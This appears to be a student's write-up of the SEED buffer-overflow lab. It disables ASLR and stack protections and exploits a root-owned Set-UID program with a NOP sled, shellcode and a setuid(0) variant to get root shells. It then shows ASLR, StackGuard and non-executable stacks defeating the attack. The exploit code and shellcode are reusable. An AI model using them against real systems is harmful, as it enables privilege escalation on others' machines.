Buffer-Overflow Vulnerability Lab

Task 0: Preparation: Turning off countermeasures

1. Address Space Randomization.

To help guess the exact addresses, stop randomizing the starting address of heap and stack.

```
[03/05/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
```

2. Configuring /bin/sh.

To make Set-UID program available, link /bin/sh to another shell without corresponding countermeasure.

```
[03/05/19]seed@VM:~$ sudo rm /bin/sh
[sudo] password for seed:
[03/05/19]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
```

Task 1: Running Shellcode and The Vulnerable Program

Compile call_shellcode.c with the exec stack option. Then execute the program.

```
[03/05/19]seed@VM:~/.../1$ gcc -z execstack -o call_shellcode call_
shellcode.c
call_shellcode.c: In function ‘main’:
call_shellcode.c:24:4: warning: implicit declaration of function ‘s
trcpy’ [-Wimplicit-function-declaration]
    strcpy(buf, code);
    ^
call_shellcode.c:24:4: warning: incompatible implicit declaration o
f built-in function ‘strcpy’
call_shellcode.c:24:4: note: include ‘<string.h>’ or provide a decl
aration of ‘strcpy’
[03/05/19]seed@VM:~/.../1$ ./call_shellcode
$
```

Relinked shell sh i.e. zsh is successfully entered.

Compile stack.c with the -fno-stack-protector and "-z execstack" options. Then make the program a root-owned Set-UID program. Use "-g" command in

preparation for gdb.

```
[03/05/19]seed@VM:~/.../1$ gcc -o stack -z execstack -fno-stack-pro
tector -g stack.c
[03/05/19]seed@VM:~/.../1$ sudo chown root stack
[sudo] password for seed:
[03/05/19]seed@VM:~/.../1$ sudo chmod 4755 stack
```

Task 2: Exploiting the Vulnerability

Open stack in gdb, set a breakpoint at function main().

```
[03/18/19]seed@VM:~/.../1$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses
/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show c
opying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484ee: file stack.c, line 24.
```

Then run stack. When it halts, type n to execute next line.

```
gdb-peda$ r
Starting program: /home/seed/[000]SSlab/1/stack
```

```
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0xbffff094) at stack.c:24
24          badfile = fopen("badfile", "r");
gdb-peda$ n
```

Wireshark

```
[----------registers----------
EAX: 0x0
```

When the program halts again, it stops where str is used as a storage for badfile. Then use command "p /x &str" to get its address.

```
[----------
Legend: code, data, rodata, value
25          fread(str, sizeof(char), 517, badfile);
gdb-peda$ p /x &str
$1 = 0xbfffedd7
```

The sum of this address and the offset 200 between shellcode and buffer head is the address, i.e. 0xBFFFEE9F, which should be put into the buffer.

To decide where the address should put, disassemble function bof().

```
gdb-peda$ disass bof
Dump of assembler code for function bof:
   0x080484bb <+0>:     push   ebp
   0x080484bc <+1>:     mov    ebp,esp
   0x080484be <+3>:     sub    esp,0x28
   0x080484c1 <+6>:     sub    esp,0x8
   0x080484c4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484c7 <+12>:    lea    eax,[ebp-0x20]
   0x080484ca <+15>:    push   eax
   0x080484cb <+16>:    call   0x8048370 <strcpy@plt>
   0x080484d0 <+21>:    add    esp,0x10
   0x080484d3 <+24>:    mov    eax,0x1
   0x080484d8 <+29>:    leave
   0x080484d9 <+30>:    ret
End of assembler dump.
```

As is suggested, 0x24 should be an appropriate distance.

That is, the main function of exploit.c should be modified as below.

```
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer + 200, shellcode);
    strcpy(buffer + 0x24, "\x9f\xee\xff\xbf");


    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Run two programs and observe the result.

```
[03/18/19]seed@VM:~/.../1$ gcc -o exploit exploit.c
[03/18/19]seed@VM:~/.../1$ ./exploit
[03/18/19]seed@VM:~/.../1$ ./stack
#
```

The root shell is successfully gotten.

The user id is shown below.

```
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm)
,24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare
),133(wireshark)
#
```

Task 3: Defeating dash’ s Countermeasure

First, change the /bin/sh symbolic link back to /bin/dash.

```
[03/18/19]seed@VM:~$ sudo rm /bin/sh
[sudo] password for seed:
[03/18/19]seed@VM:~$ sudo ln -s /bin/dash /bin/sh
```

Run dash_shell_test.c with setuid commented out.

```
[03/18/19]seed@VM:~/.../1$ gcc dash_shell_test.c -o dash_shell_test
[03/18/19]seed@VM:~/.../1$ sudo chown root dash_shell_test
[sudo] password for seed:
[03/18/19]seed@VM:~/.../1$ sudo chmod 4755 dash_shell_test
[03/18/19]seed@VM:~/.../1$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),133(wiresha
rk)
$
```

The uid is 1000 which represents seed.

Run dash_shell_test.c with setuid uncommented.

```
[03/18/19]seed@VM:~/.../1$ gcc dash_shell_test.c -o dash_shell_test
[03/18/19]seed@VM:~/.../1$ sudo chown root dash_shell_test
[sudo] password for seed:
Sorry, try again.
[sudo] password for seed:
[03/18/19]seed@VM:~/.../1$ sudo chmod 4755 dash_shell_test
[03/18/19]seed@VM:~/.../1$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(su
do),30(dip),46(plugdev),113(lpadmin),128(sambashare),133(wireshark)
#
```

The uid is changed into 0 which represents root.

Now modify the shellcode in exploit.c as below.

```
char shellcode[]=
    "\x31\xc0"              /*Line 1: xorl    %eax,%eax       */
    "\x31\xdb"              /*Line 2: xorl    %ebx,%ebx       */
    "\xb0\xd5"              /*Line 3: movb    $0xd5,%al       */
    "\xcd\x80"              /*Line 4: int     $0x80           */
// ---- The code belowthe same as the one in Task 2 ---
    "\x31\xc0"              /* xorl    %eax,%eax              */
    "\x50"                  /* pushl   %eax                   */
    "\x68""//sh"            /* pushl   $0x68732f2f            */
    "\x68""/bin"            /* pushl   $0x6e69622f            */
    "\x89\xe3"              /* movl    %esp,%ebx              */
    "\x50"                  /* pushl   %eax                   */
    "\x53"                  /* pushl   %ebx                   */
    "\x89\xe1"              /* movl    %esp,%ecx              */
    "\x99"                  /* cdq                            */
    "\xb0\x0b"              /* movb    $0x0b,%al              */
    "\xcd\x80"              /* int     $0x80                  */
;
```

Then run the above program and stack.c and observe the result.

```
[03/18/19]seed@VM:~/.../1$ gcc -o exploit exploit.c
[03/18/19]seed@VM:~/.../1$ ./exploit
[03/18/19]seed@VM:~/.../1$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(su
do),30(dip),46(plugdev),113(lpadmin),128(sambashare),133(wireshark)
#
```

The root shell is successfully gotten while the uid being 0, which suggests the uid is successfully changed by the malicious program.

Task 4: Defeating Address Randomization

First, turn on the Ubuntu’ s address randomization using the following command.

```
[03/18/19]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space
=2
[sudo] password for seed:
kernel.randomize_va_space = 2
[03/18/19]seed@VM:~$
```

Run the same attack developed in Task 2.

```
[03/18/19]seed@VM:~/.../1$ gcc -o exploit exploit.c
[03/18/19]seed@VM:~/.../1$ ./exploit
[03/18/19]seed@VM:~/.../1$ ./stack
Segmentation fault (core dumped)
```

Attack will fail with segmentation fault, as the address is changing which will not match with what is in exploit.c.

Then use the brute-force approach to attack stack.c repeatedly, hoping that the address we put in the badfile can eventually be correct. The shell script on guide PDF is used. Run the shell script.

```
[03/19/19]seed@VM:~/.../1$ bash repeat.sh
0 minutes and 0 seconds elapsed.
The program has been running 1 times so far.
repeat.sh: line 15: 27666 Segmentation fault      (core dumped) ./s
tack
0 minutes and 1 seconds elapsed.
The program has been running 2 times so far.
repeat.sh: line 15: 27668 Segmentation fault      (core dumped) ./s
tack
0 minutes and 2 seconds elapsed.
The program has been running 3 times so far.
```

```
833 minutes and 2 seconds elapsed.
The program has been running 49148 times so far
```

After nearly 14 hours' continuous running, the shell is still not gotten. Maybe longer time will help.

Task 5: Turn on the StackGuard Protection

First, turn off the address randomization.

```
[03/05/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
```

Repeat Task 1 in the presence of StackGuard.

```
[03/19/19]seed@VM:~/.../1$ gcc -o stack -z execstack stack.c
[03/19/19]seed@VM:~/.../1$ sudo chown root stack
[03/19/19]seed@VM:~/.../1$ sudo chmod 4755 stack
[03/19/19]seed@VM:~/.../1$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted (core dumped)
```

The error message "stack smashing detected" and "Aborted" is shown, suggesting not enough space, as the mechanism StackGuard will prevent buffer overflows.

Task 6: Turn on the Non-executable Stack Protection

Recompile stack.c using the noexecstack option and repeat the attack in Task 2.

```
[03/19/19]seed@VM:~/.../1$ gcc -o stack -z noexecstack -fno-stack-p
rotector stack.c
[03/19/19]seed@VM:~/.../1$ gcc -o exploit exploit.c
[03/19/19]seed@VM:~/.../1$ ./exploit
[03/19/19]seed@VM:~/.../1$ ./stack
Segmentation fault (core dumped)
```

The shell cannot be gotten as segmentation fault occurs. Its reason may be that the noexecstack option disables the execution of any data in the stack. Then, the shellcode, as some executable codes, cannot be executed here.